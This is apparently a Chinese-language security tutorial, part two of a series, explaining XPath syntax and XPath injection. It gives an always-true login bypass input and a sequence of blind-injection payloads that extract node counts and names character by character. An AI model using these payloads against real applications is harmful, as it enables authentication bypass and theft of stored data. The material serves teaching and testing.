XML的Xpath注入攻击技术研究二

XML的Xpath注入攻击技术研究二

NEURON SAINTSEC 2025-06-12 09:40

XPath注入攻击,是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。Xpath注入攻击本质上和SQL注入攻击是类似的,都是输入一些恶意的查询等代码字符串,从而对网站进行攻击。

XPath 即为 XML 路径语言,它是一种用来确定 XML(标准通用标记语言的子集)文档中某部分位置的语言。XPath 基于 XML 的树状结构,有不同类型的节点,包括元素节点,属性节点和文本节点,提供在数据结构树中找寻节点的能力,可用来在 XML 文档中对元素和属性进行遍历。XPath 是一门在 XML 文档中查找信息的语言,类比来看, XML 为数据库,XPath 为 SQL语言,用于查询数据。所以XPath和SQL类似,也存在注入的攻击方式。

#01

「 Xpath基本术语 」

XPath术语节点在 XPath 中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档(根)节点。XML 文档是被作为节点树来对待的。树的根被称为文档节点或者根节点。

XML的Xpath注入攻击技术研究二

#02

「 Xpath语法 」

/ 从根节点选取 ***** 匹配任何元素节点
// 全局匹配 @* 匹配任何属性节点
. 选取当前节点 | 选取若干个路径
.. 选取当前节点的父节点 node() 匹配任何一个节点
@ 选取属性 /*[1] 选取匹配到的第一个节点
//book 选取所有 book 子元素 //@lang 选取名为 lang 的所有属性
//* 选取文档中的所有元素 //title[@*] 选取所有带有属性的 title 元素

#03

「 Xpath注入 」

简单了解了Xpath的原理,接着我们来看Xpath的注入攻击。

首先来看一段代码案例。

XML的Xpath注入攻击技术研究二

这里我们可以直接使用万能密码来进行绕过。

这段测试代码的查询语句:

/root/users/user[username/text()='' and password/text()=‘’]

和sql注入类似,考虑如下输入:

u=admin' or '1&p=xxx

通过or ‘1’ 构造永真。因为XPath中没有注释,所以需要我们精巧地闭合原语句不同语言的XPath解析方式不同。

对于PHP,or关键字前后可以没有空格。

结合sql盲注,我们下一步需要做什么?

使用一些XPath函数,可以逐步的将数据盲注出来。一般的步骤如下:

1.判断根节点数量:count(/)=12.获取根节点名称长度:string-length(name(/*[1]))=43.逐个字符获取根节点名称:substring(name(/*[1]),1,1)='r'substring(name(/*[1]),2,1)='o'substring(name(/*[1]),3,1)='o'substring(name(/*[1]),4,1)='t'4.判断下一级节点数量count(/root/*)…

那么如果我们打环境中无回显且无法报错。

就需要使用盲注。

查询根节点下的节点个数'or count(/)=1  or ''='  ###根节点数量为1'or count(/*)=1 or ''='  ##根节点下只有一个子节点查询根节点下的节点长度'or string-length(name(/*[1]))=8 or ''='查询根节点下的节点名称'or substring(name(/*[1]), 1, 1)='a'  or ''=' 'or substring(name(/*[1]), 2, 1)='c'  or ''=' 'or substring(name(/*[1]), 8, 1)='s'  or ''=' 
查询accounts节点下的节点 'or count(/accounts)=1 or ''='  /accounts节点数量为1 'or count(/accounts/user/*)>0 or ''='  /accounts下有两个节点 'or string-length(name(/accounts/*[1]))=4  or ''='  第一个子节点长度为4 'or substring(name(/accounts/*[1]), 1, 1)='u' or ''='  第一个子节点名称为user  
查询user节点下的节点'or count(/accounts/user)=2  or ''='    user节点有两个'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u'  or ''=' 'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username'  or ''=' 

下面是一个简单的脚本。

XML的Xpath注入攻击技术研究二